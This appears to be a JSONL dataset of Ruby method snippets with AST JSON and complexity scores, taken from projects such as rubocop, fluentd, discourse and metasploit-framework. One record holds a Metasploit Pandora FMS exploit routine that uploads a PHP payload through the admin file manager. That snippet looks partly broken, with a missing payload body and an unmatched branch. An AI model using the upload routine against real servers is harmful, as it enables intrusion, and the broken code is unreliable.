end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"label_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"sym_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"relation_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"relation_type\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"sym\",\"children\":[\"unknown\"]}]}]}]}","id":"7d9d1d35-f077-46f7-91aa-3a6e785e3302"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/argument_alignment.rb","start_line":115,"raw_source":"def fixed_indentation?\n cop_config['EnforcedStyle'] == 'with_fixed_indentation'\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fixed_indentation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedStyle\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"with_fixed_indentation\"]}]}]}","id":"6d5b3260-036c-4b54-9d9d-f008ebde79df"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_request_template.rb","start_line":33,"raw_source":"def execute\n # Should not be called.\n raise _(\"Provision Request Templates do not support the execute method.\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Provision Request Templates do not support the execute method.\"]}]}]}]}","id":"cf869629-8900-46ad-bd94-d1f39f805ca9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_fms_sqli.rb","start_line":222,"raw_source":"def upload\n # Extract hash and hash2 from response\n res = send_request_cgi({\n 'method' => 'GET',\n 'cookie' => @cookie,\n 'uri' => normalize_uri(uri, 'index.php'),\n 'vars_get' => {\n 'sec' => 'gsetup',\n 'sec2' => 'godmode/setup/file_manager'\n }\n })\n\n if res && res.code == 200 && res.body =~ /(?<=input type=\"submit\" id=\"submit-go\")(.*)(?=)/\n hash = $1\n else\n print_error(\"Could not extract hash from response!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n\n # Extract hash2\n if form =~ /(?<=name=\"hash2\" type=\"hidden\" value=\")(.*?)(?=\" \\/>)/\n hash2 = $1\n else\n print_error(\"Could not extract hash2 from response!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n\n # Extract real_directory\n if form =~ /(?<=name=\"real_directory\" type=\"hidden\" value=\")(.*?)(\" \\/>)/\n real_directory = $1\n else\n print_error(\"Could not extract real_directory from response!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n else\n print_error(\"Could not identify upload form!\")\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n\n # Upload script\n @payload_name = \"#{rand_text_alpha(8)}.php\"\n post_data = Rex::MIME::Message.new\n post_data.add_part(\"\", 'text/plain', nil, %Q^form-data; name=\"file\"; filename=\"#{@payload_name}\"^)\n post_data.add_part('', nil, nil, 'form-data; name=\"unmask\"')\n post_data.add_part('Go', nil, nil, 'form-data; name=\"go\"')\n post_data.add_part(real_directory, nil, nil, 'form-data; name=\"real_directory\"')\n post_data.add_part('images', nil, nil, 'form-data; name=\"directory\"')\n post_data.add_part(\"#{hash}\", nil, nil, 'form-data; name=\"hash\"')\n post_data.add_part(\"#{hash2}\", nil, nil, 'form-data; name=\"hash2\"')\n post_data.add_part('1', nil, nil, 'form-data; name=\"upload_file_or_zip\"')\n\n print_status(\"Attempting to upload payload #{@payload_name}...\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'cookie' => @cookie,\n 'uri' => normalize_uri(uri, 'index.php'),\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n 'data' => post_data.to_s,\n 'vars_get' => {\n 'sec' => 'gsetup',\n 'sec2' => 'godmode/setup/file_manager'\n }\n })\n\n if res && res.code == 200 && res.body.include?(\"Upload correct\")\n register_file_for_cleanup(@payload_name)\n print_good(\"Successfully uploaded payload\")\n else\n fail_with(Failure::Unknown, \"#{peer} - Unable to inject payload!\")\n end\n end","complexity_score":73.9,"ast_json":"{\"type\":\"def\",\"children\":[\"upload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec\"]},{\"type\":\"str\",\"children\":[\"gsetup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec2\"]},{\"type\":\"str\",\"children\":[\"godmode/setup/file_manager\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<=input type=\\\"submit\\\" id=\\\"submit-go\\\")(.*)(?=)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not extract hash from response!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<=name=\\\"hash2\\\" type=\\\"hidden\\\" value=\\\")(.*?)(?=\\\" />)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash2\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not extract hash2 from response!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?<=name=\\\"real_directory\\\" type=\\\"hidden\\\" value=\\\")(.*?)(\\\" />)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"real_directory\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not extract real_directory from response!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not identify upload form!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"unmask\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"Go\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"go\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"real_directory\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"real_directory\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"images\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"directory\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"hash\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash2\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"hash2\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"upload_file_or_zip\\\"\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to upload payload \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec\"]},{\"type\":\"str\",\"children\":[\"gsetup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec2\"]},{\"type\":\"str\",\"children\":[\"godmode/setup/file_manager\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Upload correct\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully uploaded payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Unable to inject payload!\"]}]}]}]}]}]}","id":"2394e1df-1fb4-4d2e-811a-02b97c979ca9"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_udp.rb","start_line":55,"raw_source":"def configure(conf)\n compat_parameters_convert(conf, :parser)\n parser_config = conf.elements('parse').first\n unless parser_config\n raise Fluent::ConfigError, \" section is required.\"\n end\n super\n @_event_loop_blocking_timeout = @blocking_timeout\n @source_hostname_key ||= @source_host_key if @source_host_key\n @message_length_limit = @body_size_limit if @body_size_limit\n\n @parser = parser_create(conf: parser_config)\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compat_parameters_convert\",{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"sym\",\"children\":[\"parser\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"elements\",{\"type\":\"str\",\"children\":[\"parse\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser_config\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\" section is required.\"]}]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_event_loop_blocking_timeout\",{\"type\":\"ivar\",\"children\":[\"@blocking_timeout\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source_host_key\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source_hostname_key\"]},{\"type\":\"ivar\",\"children\":[\"@source_host_key\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_size_limit\"]},{\"type\":\"ivasgn\",\"children\":[\"@message_length_limit\",{\"type\":\"ivar\",\"children\":[\"@body_size_limit\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@parser\",{\"type\":\"send\",\"children\":[null,\"parser_create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conf\"]},{\"type\":\"lvar\",\"children\":[\"parser_config\"]}]}]}]}]}]}]}","id":"003fb226-6601-4e97-84be-32a895bf2671"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/issue_reader.rb","start_line":282,"raw_source":"def new_comment_handler(bcf_comment, call, created_at)\n if call.success?\n call.result.update_columns(created_at:)\n bcf_comment.journal = call.result\n else\n Rails.logger.error \"Failed to create comment for BCF #{issue.uuid}: #{call.errors.full_messages.join('; ')}\"\n end\n end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"new_comment_handler\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bcf_comment\"]},{\"type\":\"arg\",\"children\":[\"call\"]},{\"type\":\"arg\",\"children\":[\"created_at\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bcf_comment\"]},\"journal=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to create comment for BCF \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"uuid\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\"; \"]}]}]}]}]}]}]}","id":"2de292ec-8dd2-44ec-88a5-64f7d5503b24"} {"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":85,"raw_source":"def mkcol(path, opts = {}, &bk) route 'MKCOL', path, opts, &bk end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mkcol\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"bk\"]}]},{\"type\":\"send\",\"children\":[null,\"route\",{\"type\":\"str\",\"children\":[\"MKCOL\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bk\"]}]}]}]}","id":"307211ec-c324-4f5b-a129-46d6b9476f5e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/gitlab/without_reactive_cache.rb","start_line":12,"raw_source":"def on_send(node)\n add_offense(node.loc.selector)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]}]}","id":"b6acb72e-9805-4ec1-a957-b219ef4dbf5c"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/versions/base_contract.rb","start_line":98,"raw_source":"def validate_sharing_included\n if model.sharing_changed? && assignable_sharings.exclude?(model.sharing)\n errors.add :sharing, :inclusion\n end\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_sharing_included\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assignable_sharings\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"sharing\"]},{\"type\":\"sym\",\"children\":[\"inclusion\"]}]},null]}]}","id":"bdca2a0b-fecc-4e3e-88b2-1bd692b470bc"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/oneboxer.rb","start_line":63,"raw_source":"def self.force_get_hosts\n hosts = []\n hosts += SiteSetting.force_get_hosts.split(\"|\").collect { |domain| \"https://#{domain}\" }\n hosts += amazon_domains\n\n hosts.uniq\n end","complexity_score":12.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"force_get_hosts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"force_get_hosts\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hosts\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"amazon_domains\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"uniq\"]}]}]}","id":"682a7677-c8f5-4e81-8223-f1d6f3c363ce"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/smf2.rb","start_line":814,"raw_source":"def add_message(id, prev = nil, quoted = [])\n @nodes[id] = Node.new(self, id, prev, quoted)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"optarg\",\"children\":[\"prev\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"quoted\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nodes\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Node\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"prev\"]},{\"type\":\"lvar\",\"children\":[\"quoted\"]}]}]}]}","id":"5b5415af-4bdf-4752-be05-fc4f848596cc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/nvidia_nvsvc.rb","start_line":121,"raw_source":"def is_running?\n status = service_status('nvsvc')\n return (status and status[:state] == 4)\n rescue RuntimeError\n print_error('Unable to retrieve service status')\n return false\n end","complexity_score":8.88,"ast_json":"{\"type\":\"def\",\"children\":[\"is_running?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"service_status\",{\"type\":\"str\",\"children\":[\"nvsvc\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},\"==\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to retrieve service status\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}","id":"a5fb2e7b-f81e-40ec-84d2-dde0fb97cafb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/main/menu.rb","start_line":163,"raw_source":"def click_edit_profile_link\n retry_until(reload: false) do\n within_user_menu do\n click_element('edit-profile-link')\n end\n\n has_text?('User Settings')\n end\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"click_edit_profile_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_user_menu\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"edit-profile-link\"]}]}]},{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"str\",\"children\":[\"User 